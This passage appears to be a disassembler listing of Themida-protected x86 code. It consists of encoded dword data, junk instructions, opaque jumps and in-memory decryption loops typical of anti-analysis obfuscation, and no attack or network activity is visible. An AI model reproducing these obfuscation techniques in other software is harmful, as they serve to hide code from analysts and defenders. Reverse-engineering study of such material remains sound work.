6160310Fh, 505E585Ah, 1372FFBEh, 24448B3Ch, 0F78B6604h dd 11E8008Bh, 0E9000000h, 0F8A6EE70h, 5965FD8h, 9F8AEA9Ah dd 4F37C041h, 0E8F98B60h, 13h, 9D92654Bh, 6290A168h, 1DE411ECh dd 20060809h, 5E3C9784h, 44895E61h, 8C0F0424h, 5, 0D21CECBAh dd 85895857h, 61325F9h, 0DE9h, 0B2687800h, 94FFF415h, 63A8272h dd 0B5FFEDC2h, 6130BB9h, 34899589h, 0D0FF0613h, 4EEE8166h dd 0B9BD8B75h, 6606130Bh, 0B14FCA81h, 0BE3C7F03h, 1375003h dd 0F8C781h, 0B5890000h, 6130E31h, 202447C7h, 8B600000h dd 131AEDB5h, 6BBD8306h, 61B54h, 15E840Fh, 8F0F0000h, 2 dd 0C783D78Bh, 0B1B58928h, 0C706132Eh, 696A2E07h, 56006A64h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 0CFEECB62h, 0C7FC06F0h, 74610447h, 85890061h, 61323EDh dd 5473858Bh, 41B6061Bh, 6A0C4789h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 69CC357h dd 3A71F74Ch, 59958B13h, 6606130Fh, 858BF78Bh, 61B5477h dd 58E0Fh, 66520000h, 895AF78Bh, 958B0847h, 61315F5h, 2BC19531h dd 0C7830613h, 53006A28h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 66D60104h, 8E9D08Bh, 3F000000h dd 0EAEF3437h, 0C7490A8Dh, 6F632E07h, 8985016Eh, 0C7061301h dd 69660447h, 6A0067h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 57F6B4C3h, 0E5A860A9h, 6F858B82h dd 0B6061B54h, 0C47892Dh, 8BF6B70Fh, 1B546B85h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 84DEA8B3h, 4789B845h, 53006A08h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 557B222h, 0A0A5EE41h dd 20FABA58h, 0B5893F13h, 6130EEDh, 9E18D8Dh, 870F0613h dd 0 dd 50D18A91h, 5E8h, 2B2CF00h, 8B517F2Ch, 915A5AD3h, 0D419523h dd 0B5FF0613h, 6131A39h, 24559589h, 4E80613h, 0 dd 0E9000010h, 8, 0B1329A3Dh, 0AC4E48F0h, 66536050h, 5B18B7B9h dd 5B73BF66h, 24448B61h, 0F78B6604h, 0B8BE008Bh, 891EA6D1h dd 60042444h, 9CBF6653h, 5E85B8Ah, 57000000h, 0FA16E893h dd 0EE42BF66h, 8958615Ah, 132A51B5h, 0B9B5FF06h, 0FF06130Bh dd 57006AD0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 9D89E2B3h, 6130789h ; --------------------------------------------------------------------------- loc_601FA0: ; CODE XREF: Themida_:00601BAAj mov eax, 0 jbe $+6 or eax, eax jz loc_602000 push 0 push edi call sub_601FBE and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_601FBE proc near ; CODE XREF: Themida_:00601FB6p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_601FBE endp ; --------------------------------------------------------------------------- bsr esi, [eax] retf ; --------------------------------------------------------------------------- movsb movsb mov [ebp+6131F35h], ebx jmp loc_601FE8 ; --------------------------------------------------------------------------- pop edx sub eax, [eax+esi*4-7F56C866h] movsb loc_601FE8: ; CODE XREF: Themida_:00601FDAj push dword ptr [ebp+61313A9h] xor [ebp+6131471h], esi call dword ptr [ebp+6131D89h] mov [ebp+6132BC9h], ecx loc_602000: ; CODE XREF: Themida_:00601FADj mov eax, eax sub [ebp+6131DADh], ebx cmp dword ptr [ebp+6131625h], 0 jnz short loc_60201A cmp dword ptr [ebp+6132C81h], 0 jz short loc_602033 loc_60201A: ; CODE XREF: Themida_:0060200Fj push eax push ebx mov eax, eax mov eax, 42Dh mov [ebp+6133115h], eax lea ebx, [ebp+615A9E4h] call ebx ; _iob pop ebx pop eax loc_602033: ; CODE XREF: Themida_:00602018j cmp dword ptr [ebp+6132C81h], 0 jz short loc_602053 push eax push ebx mov eax, 42Dh mov [ebp+6133115h], eax lea ebx, [ebp+615A685h] call ebx ; _iob pop ebx pop eax loc_602053: ; CODE XREF: Themida_:0060203Aj jno loc_60205F mov esi, [ebp+6130EA9h] loc_60205F: ; CODE XREF: Themida_:loc_602053j push 0 push eax call sub_60206A and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_60206A proc near ; CODE XREF: Themida_:00602062p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_60206A endp ; --------------------------------------------------------------------------- sub [edx], bl add [esi+ecx*2+7E9E9B18h], bl fmul dword ptr [ebx-173F7440h] add eax, 53000000h cli push ebx db 64h push ebp mov esi, [ebp+6131311h] pop eax mov esi, 273DA984h add eax, 6717h clc xor ebx, ebx mov edi, [ebp+61325A1h] loc_6020AD: ; CODE XREF: Themida_:00602137j push dword ptr [ebx+eax] and edi, 5F633E44h pop edx mov edi, [ebp+6130E69h] xor edx, 619F62AEh sub edx, 51485DDEh mov [ebp+61321EDh], eax sub edx, 734A2132h mov [ebp+6131E4Dh], edi mov [eax+ebx], edx jle loc_6020E9 sub si, 8B96h loc_6020E9: ; CODE XREF: Themida_:006020DEj pusha cld mov dx, di popa sub ebx, 1 sub [ebp+613324Dh], esi dec ebx dec ebx dec ebx sub edi, [ebp+6130DD1h] cmp ebx, 0FFFF999Ch jnz loc_60212C jmp loc_602121 ; --------------------------------------------------------------------------- dw 85E7h dd 95CA4382h, 243FCA0Dh, 0C5EC7629h db 0C2h ; --------------------------------------------------------------------------- loc_602121: ; CODE XREF: Themida_:0060210Dj jmp loc_602144 ; --------------------------------------------------------------------------- dw 736Dh dd 2445480Dh ; --------------------------------------------------------------------------- loc_60212C: ; CODE XREF: Themida_:00602107j push eax jnz loc_602136 mov cx, dx loc_602136: ; CODE XREF: Themida_:0060212Dj pop edi jmp loc_6020AD ; --------------------------------------------------------------------------- dd 883C6772h, 0CB1AF5B2h ; --------------------------------------------------------------------------- loc_602144: ; CODE XREF: Themida_:loc_602121j call near ptr loc_602153+2 xchg eax, ecx dec edi dec edi popf and dword ptr [edi], 1Eh pushf or al, 62h loc_602153: ; CODE XREF: Themida_:loc_602144p adc [edx-74A52176h], cl popf rcr dword ptr [esi], 1 adc eax, [esi] add edx, 6187h jmp loc_60217A ; --------------------------------------------------------------------------- db 63h, 68h, 0F7h ; --------------------------------------------------------------------------- sbb eax, 0DE91846Ah mov bl, 0ADh inc esi pop edx push ebp cmc and ebx, [edx-80h] loc_60217A: ; CODE XREF: Themida_:00602164j xor ecx, ecx mov bx, 8E68h loc_602180: ; CODE XREF: Themida_:006021E0j mov edi, [edx+ecx] or [ebp+61321B9h], ebx add edi, 1DDB5A67h mov [ebp+6130659h], ecx xor edi, 74098886h sub [ebp+6131F51h], eax add edi, 64ECD0DBh call near ptr loc_6021B2+4 les edi, ds:0B13CBE55h loc_6021B2: ; CODE XREF: Themida_:006021A7p ficom dword ptr ds:800FAC4Ch add al, [eax] ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- pusha popa pop eax push edi pop dword ptr [edx+ecx] push eax sub eax, 7FFC5A1Dh pop esi mov eax, 7A25C7C6h sub ecx, 3 mov eax, [ebp+6131091h] dec ecx cmp ecx, 0FFFF9F18h jnz loc_602180 mov [ebp+6130E85h], esi lea ecx, [ebp+61B6001h] mov [ebp+613312Dh], ecx mov [ebp+6131BBDh], ecx jmp loc_60220F ; --------------------------------------------------------------------------- aam 4Dh sub al, 90h mov edi, 0C1424814h fsubrp st(3), st loc_60220F: ; CODE XREF: Themida_:006021FEj mov dword ptr [ebp+61318DDh], 597Ch push 0 push ebp call sub_602224 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_602224 proc near ; CODE XREF: Themida_:0060221Cp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_602224 endp ; --------------------------------------------------------------------------- dd 39BBDD5Ch, 6E5E499h, 0C1BF0F3Bh, 158C0Fh, 10E90000h dd 7E000000h, 768BF9D3h, 8C7435AEh, 77173C64h, 0C70BA105h dd 13305585h, 6, 0EDBD8B00h, 0FF061321h, 131139B5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 7ECC95C3h, 0FFA18EFEh, 131D8995h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 4E4FAA0Eh dd 8EE78DC9h, 85892488h, 6131719h, 95FF006Ah, 6130DA9h dd 6EEBC08Bh, 0C7166FE7h, 0B054E63Dh, 91E2D64Ah, 0BF89E84Ch dd 0B85DCA7Bh, 6FAD327Eh, 4DB56F9Ch, 36F52603h, 2A589678h dd 0A2100A1Ah, 40A9F794h, 319C793Dh, 5C48BEC9h, 6CFA22EFh dd 0D826DCFFh, 48E619CDh, 23118594h, 0F476A196h, 7AD9A86h dd 1FE54F87h, 928F2FE5h, 1DECAE0Fh, 53185641h, 0FC221182h dd 40A73ECFh, 0B4D8C74Bh, 0C1D73059h, 0EBE219h, 4A2E9h dd 0ACAA3800h, 0B49A2C0Eh, 0AAA03416h, 0BB95260Ch, 0ACA8351Bh dd 0FB101F0Eh, 0E2C8E66Eh, 80A20052h, 9BBD1D2Bh, 97A4024Ah dd 14C945B8h, 7F9216B9h, 0E16DBDE3h, 93C2E5C2h, 109DB537h dd 72EC9D00h, 3B109DB5h, 0DEC412DAh, 84A3004Ah, 9DB4F551h dd 955FBE10h, 7ED26147h, 69EB7A60h, 7ADA6749h, 9577B5Ch dd 4F99F849h, 3A3AFFDh, 20BE8A1Dh, 5A5A73Ah, 87F5AAD6h dd 13A38716h, 5F85B13Bh, 46B7D76Ah, 0A8374CCh, 40117095h dd 55B12403h, 1E0A8375h, 95A4AA3Ch, 65AE1574h, 7C9D9B2Dh dd 22B1A32Dh, 0D4823468h, 389AE23Ch, 7796A7A5h, 0A8924716h dd 900A7B17h, 0C90A8373h, 83743A94h, 0B582030Ah, 0B4913150h dd 73E86293h, 6CB10A83h, 2358E147h, 21AB672Bh, 1DBACC15h dd 73F849E8h, 9C755A10h, 9AC7746Bh, 0D99FF41h, 0DDBCF40Eh dd 0FE5CADBCh, 55047021h, 5C1C40B9h, 3E509387h, 1672EC21h dd 0DA3B0470h, 160E88FDh, 0B6D70470h, 1A0F72Eh, 0BD4B0000h dd 8A55E470h, 0F0406245h, 2AB2D362h, 9DB58BDBh, 0ED83AC10h dd 0FABB27DBh, 1E7FCD60h, 972127BCh, 587ACB4Ah, 46674705h dd 29BBD464h, 90F14021h, 25AF992Eh, 0DAAA233h, 875FBB2Ah dd 2728109Eh, 9E875CB6h, 81E02510h, 558CA837h, 40B59231h dd 109E86C6h, 99C60E8Fh, 8F919D64h, 66496E16h, 0F863A6F5h dd 8508656Fh, 0FD2B0126h, 0C14643D9h, 0A19C126Ch, 885031F7h dd 0EB67F5D9h, 6BE9785Ah, 60D9F9DAh, 587A5F75h, 0D8FA4B09h dd 0A7C684h, 7DB00D60h, 18B55B8h, 6CFBDF88h, 95BB726h dd 0E1240A8Bh, 0C3163880h, 0F4ED2989h, 0CE2446CCh, 160F266h dd 7FBE33A2h, 27107Ch, 0D22777F5h, 77F4FC19h, 0B6034716h dd 70C189DBh, 6C537011h, 0A94161D7h, 490B5ADBh, 0F0F899F8h dd 4ADDC5E2h, 0A62E6FFEh, 1E2F25B4h, 1EBDC522h, 0A21A6239h dd 0E81DA6F7h, 4785F6Eh, 2DB7D637h, 9C2B0F30h, 5F9EA5B4h dd 8341B5ADh, 95F4FC9Dh, 4789369h, 0E51AEDD2h, 0CA9BB705h dd 12CB644Bh, 4C4C6A0Bh, 75527115h, 3138E34Ah, 1EA6B530h dd 68C482EFh, 98272B0Ah, 8BEA66F5h, 0E7775BBAh, 13370667h dd 0A308EC6h, 6CC899BBh, 684C4973h, 6F725FCCh, 840048h dd 5644D6Eh, 37A689A6h, 0FE64B7DBh, 285761A4h, 0FE64B7E2h dd 0C3C8FB3h, 0B52827C4h, 0FE64B759h, 4714408Dh, 2708A7C6h dd 64B75CB6h, 0D8E025FEh, 8BFADDFAh, 0FE64B70Fh, 0C011B5D8h dd 945CBD8Ch, 4161F342h, 5FE93E64h, 0BEA3CB95h, 6F7AEBC8h dd 98168EBCh, 1E2F21B2h, 8BCF9EFFh, 90FE4F3Ah, 8AA6015Dh dd 2A4BCA0Ah, 0A8DDFA1Bh, 0A8AA62Eh, 0D7F796F7h, 0D61152EDh dd 44C24BACh, 850A8AA6h, 0EA7B0A9Dh, 0D3B2D362h, 0D676C709h dd 0CD7FD2F8h, 45075A7Ch, 7840EF4h, 67E97A60h, 2B2DB7D6h dd 0F060EF9Ah, 0BC103291h, 0BC18468Eh, 5AAD1BFCh, 2E64h dd 62507700h, 0ADFBB2AFh, 0A34B15DFh, 0C4EBC8BEh, 0B92EB4D6h dd 8ECB158Ah, 8F95B65Fh, 0A6331716h, 1F7E9FAEh, 93B90C4Eh dd 0F1433h, 0BDBA0000h, 6F53E26Eh, 6F506EDEh, 8850F84Bh dd 0E26EBDCEh, 34FDDC5h, 91CE9BB9h, 9DB5065Ch, 6946C710h dd 7E5D8A3Eh, 6E76365Ch, 3FF7E0FFh, 5626C1F0h, 8F2234BCh dd 0EB7D29F7h, 0D5B48F22h, 0AD1E5084h, 11E6D10Eh, 8191F783h dd 33A2AF39h, 109E8FDBh, 7D5A799Ch, 0B79E5952h, 3B8EA489h dd 0A0C14011h, 316DE918h, 0D736109Eh, 680D1F7h, 0A19C1478h dd 725031D8h, 15C67308h, 6C000000h, 0C3E06CBDh, 0B51571E4h dd 0BFDE109Dh, 4194B635h, 9943AB0Bh, 54E571BDh, 0DC6DDF72h dd 52E365FAh, 0E372E070h, 330252DFh, 0C392C20Fh, 1120307Fh dd 9EAF9B2Dh, 15242ABCh, 5D545522h, 4C581h, 0ED830000h dd 242C8704h, 75A1685Ch, 1C890000h, 30ED6824h, 4890000h dd 0A2BE5624h, 813ABF55h, 0E11AA9C6h, 0B9513Fh, 29000000h dd 59CE89F1h, 0D0C6C681h, 0F38980BBh, 4EC815Eh, 89000000h dd 4812424h, 424h, 53525800h, 41240481h, 5A019004h, 441EA81h dd 50890190h, 48B5A08h, 0E7895724h, 4C781h, 0C7810000h dd 4, 5C243C87h ; --------------------------------------------------------------------------- mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_58442C ; --------------------------------------------------------------------------- db 97h dd 67A41C37h, 0B86760CEh, 61B647Fh, 0E0FFC503h, 787319D8h dd 7B72FE3Fh, 6AA9B422h, 68CF356Ah, 64642413h, 0F69ED7Fh dd 2B8DBAECh, 54B611Ch, 3B65464Bh, 3C973903h, 5D2C2644h dd 5853B431h, 782BCDE1h, 2EB15C60h, 6AFC2970h, 30C456DFh dd 7DDFBACCh, 1E379588h, 4E3E73A2h, 5AAE439Ch, 10A5DD50h dd 7573260Fh, 3FBA7A7Ch, 2E57567Bh, 26421BD1h, 4B0A0ACh dd 124ABA07h, 7FFE42ACh, 34AC60DDh, 19880Fh, 14E90000h dd 30000000h, 0E943B70Dh, 7BB5155Dh, 575AF808h, 0C3790A1Dh dd 0F869D78h, 0BF0FC1BFh, 0C68166D2h, 8166C1D2h, 0E9093EC6h dd 9, 55199A0Ah, 6EDB60B2h, 45E88129h, 0F7360E4h, 85h dd 0FC18A00h, 0A84h, 72B86000h, 8066A221h, 0F961B1F2h dd 93F28166h, 6E931h, 0BF4F0000h, 26155461h, 2645B960h dd 8B661BB8h, 0C18B61DEh, 0BEDA9DBEh, 0BE929h, 45700000h dd 6E3EE4DCh, 52A7F016h, 58F18170h, 0BF69E233h, 14590DC7h dd 225BB966h, 1AC98166h, 10E909h, 0DD4E0000h, 0E57DE5E5h dd 0DA093F45h, 4259C6FDh, 8B522FE8h, 0D68B5FD8h, 0E3C78166h dd 897BBBF5h, 92B64C26h, 12E952h, 0E6FB0000h, 48D140Ah dd 0F10025F0h, 2CB9053Fh, 4F49135Ch, 668DB358h, 0C981CE8Bh dd 271CA840h, 0FE9h, 0AE1D9300h, 30ABFD2h, 0BA95F9B5h dd 4B1A752Dh, 3BC78166h, 0FE986h, 0F9700000h, 0B3A6CB3Ah dd 0F97D91F5h, 177E178Dh, 2FBB6679h, 10E9FBh, 0CFE30000h dd 9F6B7C9Fh, 82283978h, 442DA3C8h, 860F0CABh, 1, 0F08166F8h dd 12B6D6BAh, 21F08166h, 92D18152h, 0FC388909h, 0BE8h dd 0B2DDDD00h, 82AB5278h, 3BF1C4F9h, 9E9h, 8ABF5200h, 0D3259552h dd 815BB92Eh, 2015F6F0h, 13E954h, 0F9F60000h, 0C848EA90h dd 6A0E37C9h, 56502D57h, 0CEE46CD9h, 0E9BAB587h, 9, 7D9B0D4Ch dd 3CDCA8Bh, 0D88166A6h, 8166C251h, 0E8BD38C7h, 0Ah, 97E517CAh dd 2DFAEDB7h, 0DE883B5h, 33000000h, 84110C41h, 0D5002936h dd 52ECF534h, 0EFF68166h, 8B5E5999h, 6660F9CBh, 61DAF0BAh dd 66606FB4h, 1B8FE8Bh, 6135903Eh, 0DE950h, 28780000h dd 2E11D6DBh, 0B6E6AFAFh, 5ECC923Ah, 18A0Fh, 80F50000h dd 7E943C0h, 0C4000000h, 0E004FD60h, 6E9DBCCh, 0B5000000h dd 15A525EFh, 0C18B668Dh, 0DE8h, 0A41F1E00h, 0C346C478h dd 0D326B9DFh, 0D78B89A1h, 0D18B665Fh, 9858C4BBh, 19820F5Bh dd 0E9000000h, 14h, 63D7420Eh, 0EA206C95h, 51A88CF8h, 0B0EB8191h dd 11CCF69Bh, 0F38B6660h, 495D3DBAh, 8A60617Bh, 0FF560FEh dd 8Dh, 0F616100h, 387h, 5EF95700h, 6E9h, 66F06F00h, 816B92F3h dd 57FCCFD0h, 208C0F6Bh, 0E8000000h, 14h, 75514423h, 19C8F836h dd 0DC72568Bh, 0F96B162Bh, 63526033h, 850Fh, 805A0000h dd 0B70FB4D9h, 0F0DB3CFh, 0B83h, 5820F00h, 0BB000000h dd 21F32D7Bh, 0CFD18166h, 6ABA6650h, 0F65B360h, 288h, 0F97B100h dd 0EE9DEB7h, 0C6000000h, 0F2D1492Dh, 9E04834Ch, 0AE9DD091h dd 0AEE98052h, 7E8h, 396DE700h, 887CCE4Bh, 5EC08166h, 860F5F00h dd 0 ; --------------------------------------------------------------------------- stc mov esi, ecx mov ah, 0C8h movsx edi, ax clc push eax jmp loc_602B8B ; --------------------------------------------------------------------------- db 20h ; --------------------------------------------------------------------------- xor edi, [ecx-6] adc [edx+7Dh], ecx movsb db 26h nop xor [ebp+1391B382h], edx loc_602B8B: ; CODE XREF: Themida_:00602B76j pop edx jg loc_602B97 add bx, 1C87h loc_602B97: ; CODE XREF: Themida_:00602B8Cj pusha jnz loc_602BA4 jl $+6 loc_602BA4: ; CODE XREF: Themida_:00602B98j jnp loc_602BAD movzx edi, bx loc_602BAD: ; CODE XREF: Themida_:loc_602BA4j popa mov si, 0A0E5h or edi, 0B55153Fh jle loc_602BBF cld loc_602BBF: ; CODE XREF: Themida_:00602BB8j xor ax, 0CB88h sub si, 0BE96h js loc_602BDB jb loc_602BDB jno $+6 loc_602BDB: ; CODE XREF: Themida_:00602BC9j ; Themida_:00602BCFj jmp loc_602BEA ; --------------------------------------------------------------------------- dd 0B316436Eh, 0D0494A65h db 0E5h, 7Ah ; --------------------------------------------------------------------------- loc_602BEA: ; CODE XREF: Themida_:loc_602BDBj adc esi, 60DF632h jmp loc_602C04 ; --------------------------------------------------------------------------- enter 36DBh, 0D6h push es push esi xchg edx, [edx+ebx*2+10B373EBh] xchg eax, ebp wait loc_602C04: ; CODE XREF: Themida_:00602BF0j js $+6 jg loc_602C12 mov dl, 7Ah loc_602C12: ; CODE XREF: Themida_:00602C0Aj mov cx, 66E5h mov ax, 431Ah jmp loc_602C28 ; --------------------------------------------------------------------------- db 91h dd 193840BEh, 366805Bh ; --------------------------------------------------------------------------- loc_602C28: ; CODE XREF: Themida_:00602C1Aj push edi pop esi mov ecx, 1C1BB425h mov di, bx jmp loc_602C48 ; --------------------------------------------------------------------------- db 0ACh dd 2C1A7CA0h, 1B1F9B37h, 3A779671h, 0EF2378D9h ; --------------------------------------------------------------------------- loc_602C48: ; CODE XREF: Themida_:00602C32j jmp loc_602C5A ; --------------------------------------------------------------------------- db 0D7h, 0E9h, 19h dd 4659C27Ah, 878A624Eh db 0D8h, 74h ; --------------------------------------------------------------------------- loc_602C5A: ; CODE XREF: Themida_:loc_602C48j movzx edi, ax jp loc_602C6C jno loc_602C6C mov di, ax loc_602C6C: ; CODE XREF: Themida_:00602C5Dj ; Themida_:00602C63j push ebx mov ax, 6AEFh pop edx or ecx, 1129C7DAh mov edx, 7DA0F5DBh jz loc_602C88 mov esi, 2D49CB44h loc_602C88: ; CODE XREF: Themida_:00602C7Dj push edi pop edi mov ax, 0C2CDh mov dx, ax sub al, 2Eh mov edx, 34BE2616h cld pusha call near ptr loc_602CA4+3 push ebp in eax, dx pusha dec esp loc_602CA4: ; CODE XREF: Themida_:00602C9Bp or [ecx-87499ECh], ebx pop ecx call sub_602CB5 ; --------------------------------------------------------------------------- test eax, 35E70A6Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_602CB5 proc near ; CODE XREF: Themida_:00602CABp jmp sub_602CC0 sub_602CB5 endp ; --------------------------------------------------------------------------- xchg eax, ebx xchg eax, edx retf ; --------------------------------------------------------------------------- db 0BEh, 5Ah, 0DDh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_602CC0 proc near ; CODE XREF: sub_602CB5j pop esi popa jns loc_602CD6 jmp loc_602CD6 ; --------------------------------------------------------------------------- align 2 dw 379Fh dd 17998A94h db 0AAh, 2Eh ; --------------------------------------------------------------------------- loc_602CD6: ; CODE XREF: sub_602CC0+2j ; sub_602CC0+8j adc di, 0D086h push edi call sub_602CEF hlt sub_602CC0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 4113h dd 8DECFEECh, 15520AECh ; --------------------------------------------------------------------------- adc al, 46h xchg eax, ebx ; =============== S U B R O U T I N E ======================================= sub_602CEF proc near ; CODE XREF: sub_602CC0+1Cp mov ebx, 36B160Ah pop eax pop edx js loc_602D07 jl loc_602D07 mov ecx, 152ED3A8h loc_602D07: ; CODE XREF: sub_602CEF+7j ; sub_602CEF+Dj call near ptr sub_602D13 test eax, 467967B5h outsb out dx, al sub_602CEF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_602D13 proc far ; CODE XREF: sub_602CEF:loc_602D07p push ecx pusha popa pop eax pop edi clc jmp loc_602D28 ; --------------------------------------------------------------------------- dw 0F8E8h ; --------------------------------------------------------------------------- mov edx, 64B21132h retf 8360h ; --------------------------------------------------------------------------- loc_602D28: ; CODE XREF: sub_602D13+6j push esi pop ecx movsx esi, dx jnz loc_602D39 jge $+6 loc_602D39: ; CODE XREF: sub_602D13+1Aj mov di, 442h pusha mov bx, 0CB17h mov bh, 0E5h popa mov edx, 36EA45D7h movsx esi, cx mov cx, 0E116h stc jmp loc_602D68 ; --------------------------------------------------------------------------- db 54h dd 0E14682C6h, 1C0E51EFh, 0A22D29ADh, 731DD64Fh ; --------------------------------------------------------------------------- loc_602D68: ; CODE XREF: sub_602D13+3Fj movsx eax, cx jmp loc_602D84 ; --------------------------------------------------------------------------- dd 1D82A720h, 0FD166587h, 0C863DCAAh, 0ABF85F9Ah, 75EDBB0h ; --------------------------------------------------------------------------- loc_602D84: ; CODE XREF: sub_602D13+58j push eax jmp loc_602D95 ; --------------------------------------------------------------------------- mov al, 0Ch push esi cmp eax, 2CF2713Fh dec edi mov al, 0FFh loc_602D95: ; CODE XREF: sub_602D13+72j pop esi push ebx adc ebx, 6E0A4CF7h pop edi call near ptr loc_602DB0+4 mov al, 92h cmp dh, [esi] xlat mov bh, 0ADh bound esp, [edi+2D8BAEB4h] loc_602DB0: ; CODE XREF: sub_602D13+8Bp mov esp, 80D17D79h sub_602D13 endp ; sp-analysis failed in eax, dx retf 805Bh ; --------------------------------------------------------------------------- db 0E1h, 10h, 81h dd 9DA196E8h, 5660602Fh, 6161605Eh, 5EF95661h, 7DD8E681h dd 0EE979CBh, 0EC000000h, 722EEAC6h, 0CBE05984h, 0A1B185F4h dd 432DBBFFh, 81600AC5h, 9BAE3EFh, 0AADE8161h, 613F3B5Bh dd 0FC38B66h, 0E4BBD6B7h, 562E12D8h, 970F5AB8h, 0EDBF5B1Fh dd 666608ABh, 0FC81A9BFh, 6E9h, 9F31BA00h, 0F013CAEh, 486h dd 0A5BE6600h, 0C9BF0F7Eh, 38B0Fh, 8B660000h, 51D1BBD1h dd 66605013h, 14E9DF8Bh, 0F000000h, 0C5ACAF15h, 3D6D0382h dd 0E824A004h, 25F9A571h, 6100934Fh, 12E952h, 2AE0000h dd 65EF7550h, 90F9F6CEh, 0C9C848EAh, 576A0E37h, 64D2BA5Fh dd 2CB64C5Ch, 0EE8h, 4A769F00h, 2B111D3Ch, 0B7ECC875h dd 6629D2A8h, 0AF1DB81h, 8F0F575Bh, 3, 5ED0B70Fh, 0BD4BBF66h dd 9E960h, 0E160000h, 203A4CDBh, 8BFAA5A8h, 8A0F61D8h dd 3, 8B61FC60h, 0C88AF8F8h, 1B820Fh, 0FE80000h, 6A000000h dd 0B13023EBh, 2ECB2266h, 8E4FEA81h, 0C981CEA0h, 1EEB766Fh dd 0C981F859h, 40E1E1A1h, 0FA5E980h, 0E853F0B7h, 0Eh, 58C6FA3Ch dd 171D12BAh, 0A28C0A0Eh, 81663DB8h, 5AE065D1h, 0E9D88B58h dd 13h, 0DF0CC76Fh, 0ED4D2748h, 0E9CFDD88h, 2903DE61h dd 0F9A33ABh, 0B85h, 58C0F00h, 0B9000000h, 7E188D94h, 0FBE78150h dd 5B1C07CBh, 2830Fh, 0C88A0000h, 8E8h, 0C2866C00h, 0F20F266Dh dd 0D4F5806Ah, 9E95Bh, 0C2D90000h, 5EA07EB6h, 0FCD66EFEh dd 32BBF66h, 0C6B70F52h, 0F5F38059h, 178D0F52h, 0E9000000h dd 12h, 0E1F16AD8h, 0DFC69BA0h, 313C3E42h, 7075E3E9h, 665BB81Ah dd 0F10AFB9h, 8Ch, 830F6000h, 6, 840Fh, 0BA660000h, 0B961D008h dd 3A05061Dh, 0AE8h, 8C30A800h, 0AC2504E0h, 59A1A17Bh dd 89DA8166h, 0D98B66BCh, 0BE9h, 418FB400h, 0F3C37A50h dd 0C335A7D9h, 0FEAFB866h, 0FCA8B66h, 0DE80C7BFh, 0E8FE8B82h dd 8, 948BA73Fh, 0C029F67Eh, 5FF9B70Fh, 8DE38166h, 0EE99Ch dd 0B17E0000h, 5DFE3F44h, 718D5B44h, 0D9BBDD0h, 66F78B66h dd 0C88CE781h, 6FC4B966h, 85B2CA8Ah, 8A9DDF80h, 6E9C7h dd 35400000h, 331F6F6h, 0B7CEB70Fh, 0DF8B6657h, 6E9h, 0E44ACE00h dd 0F6755DCh, 800FC9BFh, 3, 8B23DE80h, 6660F8FBh, 0B9B7F88Bh dd 7B63BB61h, 81661EBFh, 666431E3h, 0F9F196B8h, 0BF0F5B53h dd 0CF8B66C8h, 208D0Fh, 6E80000h, 35000000h, 0D6D46A0Dh dd 0FE984h, 305E0000h, 6F3A2522h, 22F5CAA3h, 5D73BDB8h dd 14E95E27h, 2000000h, 8AFB2137h, 60A5AE26h, 0A237BD94h dd 9C39C401h, 0B95B83F1h, 3DFAC67Bh, 178C0Fh, 0E9600000h dd 0Ah, 0D0273573h, 0CBB91A53h, 830F989Fh, 0 ; --------------------------------------------------------------------------- popa mov ecx, eax cmc jmp loc_6030ED ; --------------------------------------------------------------------------- mov ds:0D1A6C9C9h, al adc [edi+1Ah], edx mov ch, 0Ah sub dword ptr [esi+7E32E9CEh], 0BABE2B04h loc_6030ED: ; CODE XREF: Themida_:006030D4j mov ebx, 47C8C61Eh jmp loc_60310B ; --------------------------------------------------------------------------- db 0FDh dd 0DFEF0F59h, 1524EB35h, 3B12C076h, 845F16F7h db 0F4h, 0CCh, 0Fh ; --------------------------------------------------------------------------- loc_60310B: ; CODE XREF: Themida_:006030F2j jmp loc_603120 ; --------------------------------------------------------------------------- dd 8BFEC5A0h, 0F4230F5Dh, 0EECA325Dh, 319D85D8h ; --------------------------------------------------------------------------- loc_603120: ; CODE XREF: Themida_:loc_60310Bj push ecx mov ah, 0DEh pop eax mov eax, 4139B825h pusha call near ptr loc_603135+4 adc bh, dh push ebp add [ecx+23h], al loc_603135: ; CODE XREF: Themida_:0060312Ap mov byte ptr [edi-7E453D62h], 33h jb short near ptr loc_6031B2+1 pop ecx jns loc_60314B jno $+6 loc_60314B: ; CODE XREF: Themida_:0060313Fj popa clc mov di, dx jmp loc_603167 ; --------------------------------------------------------------------------- db 8, 2Ah, 0EAh dd 77E6DE3Ah, 1D814B0Ah, 8BA98004h ; --------------------------------------------------------------------------- inc esi sbb [ebx], ah loc_603167: ; CODE XREF: Themida_:00603150j mov esi, edi mov cx, 94A1h jmp loc_603186 ; --------------------------------------------------------------------------- dw 0EA76h dd 29768C7Eh, 0C50BBD40h, 8BD7BA37h, 5A04FFE4h db 3Bh, 7Fh ; 